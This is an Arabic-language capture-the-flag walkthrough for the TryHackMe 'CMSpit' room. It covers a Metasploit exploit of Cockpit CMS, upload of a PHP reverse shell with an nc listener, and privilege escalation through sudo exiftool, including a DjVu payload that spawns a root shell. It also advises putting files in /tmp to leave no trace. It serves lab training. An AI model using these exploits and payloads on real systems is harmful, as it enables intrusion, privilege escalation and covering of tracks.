TryHackMe|CMSpit WriteUp\Walkthrough (Arabic)
بسم الله
اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:
رابط التحدي: https://tryhackme.com/r/room/cmspit
=================================================================
كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap
sudo nmap IP -vv
طلع معانا بورتين 22 و 80، نرجع نسوي Aggressive سكان على نفس هذه البورتات
sudo nmap IP -vv -A -p 80,22
بورت 22 عليها SSH والنظام هو ubuntu، وعلى بورت 80 عندنا Apache server.
بنروح للمتصفح ونشوف ايش موجود على الصفحة الرئيسية، عندنا cockpit وهو نوع من CMS واللي هي Content Management Systems وهي أنظمة تساعد المستخدمين يسوون، ويديرون، ويعدلون على مواقع إنترنت، بدون ما يكون عندهم معرفة كبيرة بالبرمجة، أو حتى ما يكون عندهم معرفة إطلاقًا، مثال عليها WordPress.
بالعادة لما نلاقي CMS أول معلومة نحاول نحصل عليها هي النسخة للنظام، أحيان تكون النسخة (Version) قديمة وفيها ثغرات ممكن اختراقها، وبالعادة يكون رقم النسخة موجود في الصفحة في إحدى الزوايا بالأسفل أو بالأعلى، لكن الحين مافي شيء في الصفحة غير خانة تسجيل الدخول، لكن لو رحنا للـsource code وبحثنا ver بيطلع معانا نسخة النظام.
نبحث في searchsploit عن cockpit وبنلاقي مجموعة من الexploits
ولو بحثنا برضو في Metasploit بنلاقي Exploit Module.
نشوف الـinfo وبنلاقي المدى للنُّسخ، والنسخة اللي موجودة على النظام داخله في هذا المدى، فمعناته نقدر نستخدم هذه الـexploti، اللي المفروض تعطينا أسماء المستخدمين، ثم نختار منهم واحد ونرجع نشغلها وبتغير كملة سره وتعطينا إياها، وبكذا يصير نقدر نسجل دخول على النظام.
set rhosts IP
set lhost tun0
tun0 تُشير إلى openVPN IP
run
بعد ما تشتغل بتطبع لنا 4 مستخدمين على النظام
نختار منهم واحد، وأكيد بنختار admin، نرجع نشغل الـexploit ونعدل خيار واحد فقط
set user admin
ثم نشغلها، بعد ما تشتغل بيعطينا كلمة سر جديدة وبرضو بيعطينا meterpreter session
ناخذ كلمة السر ونروح للمتصفح ونسجل دخول كـadmin، بعد ما يدخلنا على الصفحة الرئيسية، نضغط على cockpit في أعلى اليسار، ثم نضغط على finder.
على finder بنلقى مجموعة من الملفات، أحدها اسمه webflag.php وبكذا يكون حصلنا على أول فلاق واللي هو الـweb flag ✨.
الحين احنا نبي نحصل على reverse shell، لكن مو احنا اصلا حصلنا على meterpreter وش نبغى بالـshell؟ إلا صح، ولكن الحين احنا عرفنا كلمة سر، وقدرنا ندخل على حساب الـadmin، فالحين بإمكاننا إننا نستقبل shell من الـvictim، ونسوي لها stabalization، وبتكون shell قوية وسهل التعامل معها، خصوصا إن النظام Linux، وسهل جدا نسوي stabalization.
أول حاجة بنجهز الـshell على جهازنا ونحفظها في ملف، أنا استخدمت الـpentestmonkey php shell أخذتها من الموقع revshells وهو موقع ممتاز ويخليك تحصل على shell بسهولة ويجمع الأنواع بمكان واحد، المهم تأكدو إن العنوان هو عنوان الـVPN لجهازكم، والبورت نفس ما تبغون.
ثم نرجع للموقع ونضغط على زر create الأزرق، ثم نرفع الـshell، وقبل ما نشغلها نجهز الـListener على جهازنا
nc -nlvp 4444
وعشان نشغلها نروح للرابط http://IP/shell.php
وبيجينا اتصال على الجهاز، وبما إن الـvictim جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.
الخطوات كالتالي:
نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
بعدين هذه الكوماند
export TERM=xterm
ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية
الحين نجيبها لقدام باستخدام هذه الكوماند
stty raw -echo;fg
ولكن هنا ما قدرنا نقرأ الفلاق لأن ما عندنا صلاحيات كافية، فنحتاج نحصل على كلمة السر لـstux. لو عرضنا الملفات المخفية في المجلد ls -l بنلاقي ملف dbshell، وهذا الملف بالعادة ما يكون موجود بداخل المجلد هذا، لو استعرضناه، بنلاقي بداخله كلمة سر stux والـdb flag ✨.
بما إن عندنا الآن كلمة السر نقدر نغير المُستخدم
su stux
نعطيه كلمة السر، ثم الحين نقدر نقرأ الـuser.txt وبكذا يكون حصلنا على الـuser flag ✨.
آخر فلاق غالبا يكون في الـroot home directory، فلازم نرفع صلاحياتنا عشان نقدر نوصل له. أول حاجة بنشوف وش الـbinaries اللي stux يقدر ينفذها بصلاحيات root.
sudo -l
طلع معانا exiftool، وعشان نعرف كيف ممكن نستفيد من هذه الأداة في رفع الصلاحيات بنستفيد من الموقع GTFObins ونبحث عن exiftool
ثم ننزل للـsudo ونسوي نفس المطلوب
نرجع على جهاز الضحية وننفذ هذه الكوماندز
LFILE=/tmp/rootflag.txt
INPUT=/root/root.txt
الحين احنا حددنا الملف اللي نبغاه وهو root.txt ووين نبغاه يتخزن وهو rootflag.txt، نشغل exiftool
sudo /usr/local/bin/exiftool -filename=$LFILE $INPUT
كذا يعني تمام واشتغلت، نروح لـtmp، ثم نقرأ الملف من هناك
cat rootflag.txt
وبكذا حصلنا على آخر فلاق وانتهينا من الحل ✨.
-------------------------------------------------------------------------------------------------------------
لكن لو ما نفعت معاكم الكوماندز اللي موجودة في الـGTFObins في طريقة أخرى للحل وهي مشروحة بالتفصيل على هذا الرابط، ومو بس بتعطينا الفلاق بل بنحصل على root shell.
عشان تنجح هذه الطريقة لازم نتأكد إن نسخة exiftool تكون أحدث من 7.44 على الـvictim
تمام كذا تأكدنا، بعد كذا نرجع على جهازنا ونسوي ملف اسمه exploit ونخزن فيه هذه القيمة
(metadata "\c${system('/bin/sh')};")
بعد ما يوصل الملف لجهاز الضحية، ننقله ونحفظه على الـtmp
mv exploit.djvu /tmp
طيب ليه اخترت الـtmp ؟؟
أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر.
ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ.
Comments
Post a Comment